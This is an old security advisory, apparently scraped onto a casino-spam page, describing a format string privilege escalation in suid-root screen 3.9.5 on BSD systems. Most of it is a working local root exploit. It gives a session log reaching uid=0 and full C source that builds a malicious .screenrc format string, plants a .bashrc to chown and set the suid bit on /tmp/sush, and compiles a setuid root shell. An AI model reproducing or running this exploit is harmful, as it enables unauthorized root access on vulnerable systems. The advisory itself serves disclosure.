Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
9th Sep 2000 [SBWID-201]
COMMAND
	    screen
SYSTEMS AFFECTED
	    BSDish
PROBLEM
	    Paul Starzetz found following.   He found a way to  exploit format
	    string vulnerable applications, which are suid root (like  screen)
	    on BSD-like systems.   The mentioned problems  arise form the  low
	    virtual memory address (VMA) we want write to.
	    As far as there  is no way to  construct a string containing  more
	    0x0's in standard C,  we can profit from  a feature (bug?) in  the
	    passing  of  environment  variables  by  execve function. execve()
	    will  pass  empty  env  strings  (pointers  to  zeros,  _not_ NULL
	    pointers) AS IS, so passing  e.g.  environ[a] = empty,  environ[a]
	    = empty will lead to two 0x0#s pushed somewhere onto the  stack...
	    With this feature we can  construct an array of arbitrary  data on
	    the bottom of the called programm's  stack.  If this array can  be
	    reached from a  fmt-vulnerable function, we  can write to  ANY VMA
	    address including also the .data section of a BSD process.
	    So we could now  utilize that and write  a new exploit for  screen
	    which is  our example  here, but  there is  still another problem.
	    Screen would  lock up  after we  simply write  to (&real_uid  - 2)
	    because we write to a part  of another variable too, in this  case
	    struct display* display, which leads to a complete crash.  A  look
	    at the debugger  output shows that  the following variable  may be
	    overwritten without  consequences, it  seems to  be less important
	    flag variable (sample offsets):
	
	        00055888  display
	        0005588c  real_uid
	        00055890  adaptflag
	        00055894  rflag
	
	    Depending on the version you may not be able to overwrite real_uid
	    wihtout crash....   So the technique  we need is  to construct the
	    0x0 at &real_uid by  increasing the write address  successively by
	    1, writting to lsb first.  This leads to following exploit:
	
	        a.out
	        USAGE a.out <write offset> <bufferoffset> <byteadj> <padding>
	        bash-2.04$ id
	        uid=1000(kurak) gid=10(users) groups=10(users)
	
	    First we need a bufferoffset at which screen wouldn't crash  after
	    <ctrl-g> at _only_ one padding =  {0,1,2,3}.  The pair 10 0  would
	    do the job here:
	
	        bash-2.04$ a.out 0 10 0 0
	        Screen 3.9.5 local r00t exploit
	        by IhaQueR@IRCNET
	        creating magic string
	        building /tmp/.home/.screenrc
	        creating /tmp/.home/.bashrc
	        compiling suid shell
	        press enter to start screen, then hit enter again, ctrl-g, ctrl-c for
	        suid shell at /tmp/sush and root uid
	        Screen version 3.09.05 (FAU) 1-Sep-99
	        ...
	        chown: /tmp/sush: Operation not permitted
	        chmod: /tmp/sush: Operation not permitted
	        kurak@ExploitMe> <ctrl-g> STATUS shows:
	        7m5e-309-2e+1530-2e+1531e-30934-2e+1535e-3092e-3232e-3097e-309-2e+153-2e+1534e-309
	        <ctrl-c>
	        chown: /tmp/sush: Operation not permitted
	        chmod: /tmp/sush: Operation not permitted
	        I have no name!@ExploitMe>id
	        uid=318941 gid=10(users) groups=10(users)
	        ...
	        [screen is terminating]
	        Now the uid is 318941, hex 0x0004dddd, which means we have the write
	        sequence 2, 3, 0, 1. So the padding must be increased by 8 again:
	        bash-2.04$ a.out 0 10 0 8
	        ...
	        I have no name!@ExploitMe>id
	        uid=3705461980 gid=10(users) groups=10(users)
	        ...
	        [screen is terminating]
	        Now uid is 3705461980, hex 0xdcdcdcdc, so now we need to increase the
	        byteadj by 256-0xdc = 36:
	        bash-2.04$ a.out 0 10 36 8
	        ...
	        uid=0(root) gid=10(users) groups=10(users)
	        root@ExploitMe>ls -l /tmp
	        total 70
	        -r--r--r--  1 root   wheel     11 Sep  7 13:07 .X0-lock
	        drwxrwxrwt  2 root   wheel    512 Sep  7 13:07 .X11-unix
	        drwxr-xr-x  2 kurak  wheel    512 Sep  9 19:52 .home
	        drwxr-xr-x  3 root   wheel    512 Sep  7 13:51 screens
	        -rw-r--r--  1 kurak  wheel   3970 Sep  9 03:55 stackdmp
	        -rwsr-xr-x  1 root   wheel  25564 Sep  9 20:16 sush
	        ...
	
	    Boah, now  we have  uid=0 and  a suid  shell at  /tmp/sush.  Note,
	    with  this  technique  you  may  bypass  even  an  non-exec stack,
	    because we  aren't executing  anything.   With the  'byte by byte'
	    writing  technique  combined  with  the  execve  'feature' one may
	    write to even low VMA  any data he want (assuming  the application
	    is vulnerable of course).  Imagine a suid app, which never  starts
	    a shell  nor uses  setuid(), but  calls e.g.   /bin/mail to report
	    you  are  trying  to  abuse  it...  You  may  change  the   string
	    "/bin/mail" for example to "/tmp/r00t"....
	    explbsd395.c was tested again OpenBSD 2.8-beta (broken):
	
	    /****************************************************************
	    *								                                *
	    *		Screen 3.9.5 BSD local exploit			                *
	    *		by IhaQueR at IRCNET				                    *
	    *		!only for demonstrative purposes!		                *
	    *								                                *
	    ****************************************************************/
	    #include <stdio.h>
	    #include <sys/stat.h>
	    #include <sys/types.h>
	    #include <fcntl.h>
	    #include <unistd.h>
	    #include <string.h>
	    #include <sys/utsname.h>
	    #include <pwd.h>
	    #include <stdlib.h>
	    #include <errno.h>
	    extern char **environ;
	    char* home = "/tmp/.home";
	    char* ev1 = "PS1=\\u@ExploitMe>";
	    #define SCREEN "/usr/local/bin/screen-3.9.5"
	    #define SHELL "/bin/sh"
	    #define SCREENRC ".screenrc"
	    #define BASHRC ".bashrc"
	    /*	offset to the env seen from Msg()	*/
	    #define BUFOFFSET 2682
	    /*	addr to be written	(may vary)*/
	    #define WRITEADDR 0x3c1e4
	    /*	some addresses grabbed from 3.9.5
	    OpenBSD:	&real_uid,	&real_gid,	&eff_uid,	&eff_gid
			    0x3c1e4		0x3c224		0x3b1b0		0x3b1a4
	    for finding addresses see expl.c, it may be hard...
	    */
	    /*	repeat the addr table in environ	*/
	    #define ENVREP 32
	    /*	but write only once	*/
	    #define WREP 1
	    char* env[ENVREP*4 + 256];
	    #define TMPBUFSIZE (BUFOFFSET+1024)
	    int main(int argc, char** argv)
	    {
	    int i, off=0;
	    int writeoffs=0, bufoffset=0, padding=0, bfoff=0, byteadj=0;
	    int ep=0, b=0, ob=0;
	    unsigned vv[ENVREP+2];
	    unsigned char* pp;
	    FILE* fp;
	    char buf[TMPBUFSIZE];
	    unsigned char myhome[TMPBUFSIZE];
	    char screenrc[TMPBUFSIZE];
	    char bashrc[TMPBUFSIZE];
	    char pad[TMPBUFSIZE];
	    char buf2[TMPBUFSIZE];
			    if(argc != 5) {
				    printf("USAGE %s <write offset> <bufferoffset> <byteadj> <padding>\n", argv[0]);
				    return 0;
			    } else {
				    printf("Screen 3.9.5 local r00t exploit\n");
				    printf("by IhaQueR@IRCNET\n\n");
			    }
	    /*	user supplied offsets	*/
			    writeoffs = atoi(argv[1]);
			    bfoff = atoi(argv[2]);
			    byteadj = atoi(argv[3]);
			    padding = atoi(argv[4]);
	    /*	create env	*/
			    for(i=0; i<ENVREP; i++)
				    vv[i] = WRITEADDR + writeoffs + i%4;
			    vv[ENVREP] = 0;
			    pp = (unsigned char*) vv;
			    b = 0;
			    ob = b;
			    sprintf(myhome, "HOME=%s", home);
			    putenv(myhome);
			    putenv(ev1);
			    while(environ[ep]){
				    env[ep] = environ[ep];
				    ep++;
			    }
	    /*	pad	*/
			    sprintf(pad, "%s", "PPPP");
			    for(i=0; i<padding; i++)
				    strcat(pad, "Q");
	            env[ep++]=pad;
			    while(b<ENVREP*4) {
				    if(pp[b] == 0) {
					    env[ep] = pp + ob;
					    ob = b+1;
					    ep++;
				    }
				    b++;
			    }
			    if(*(pp+ob))
				    env[ep++] = pp + ob;
			    env[ep++] = NULL;
	    /*	create vbell string	*/
			    printf("creating magic string\n");
			    bzero(buf, TMPBUFSIZE);
			    bufoffset = BUFOFFSET + bfoff*sizeof(double);
	    /*	consume stack arguments	*/
			    for(i=0; i<bufoffset/sizeof(double)+1; i++)
				    strcat(buf, "%.g");
	    /*	finally write to adress	*/
			    sprintf(buf2, "%%dx%%n%%n%%n%%n", byteadj+16);
			    for(i=0;i<WREP; i++)
				    strcat(buf, buf2);
	    /*	create homedir	*/
			    if(mkdir((char*)(home), 0xfff))
				    if(errno != EEXIST) {
					    printf("\nERROR: mkdir()");
					    return 2;
				    }
	    /*	strings for .screenrc and .bashrc	*/
			    strcpy(screenrc, home);
			    strcat(screenrc, "/");
			    strcat(screenrc, SCREENRC);
			    strcpy(bashrc, home);
			    strcat(bashrc, "/");
			    strcat(bashrc, BASHRC);
	    /*	create screenrc	*/
			    printf("building %s\n", screenrc);
			    if(fp = fopen(screenrc, "w")) {
				    fprintf(fp, "vbell on\n");
				    fprintf(fp, "vbell_msg '%s'\n", buf);
				    fprintf(fp, "vbellwait 3600\n");
				    fclose(fp);
			    }
			    else {
				    printf("ERROR: opening %s\n", screenrc);
				    return 1;
			    }
	    /*	create bashrc	*/
			    printf("creating %s\n", bashrc);
			    snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root /tmp/sush; chmod 4755
	    /tmp/sush'", bashrc);
			    system(buf);
	    /*	create suid shell	*/
			    printf("compiling suid shell\n");
			    snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char**
	    av){setuid(0); setgid(0); execv(\"%s\", av);}'", SHELL);
			    system(buf);
			    system("gcc /tmp/sush.c -o /tmp/sush");
	    /*	set env and call screen	*/
			    argv[1] = NULL;
			    printf("press enter to start screen, then hit enter again, ctrl-g, ctrl-c for suid shell at /tmp/sush and root uid");
			    getchar();
			    execve(SCREEN, argv, env);
	    }
	
SOLUTION
	    Patch is available.
	

Internet highlights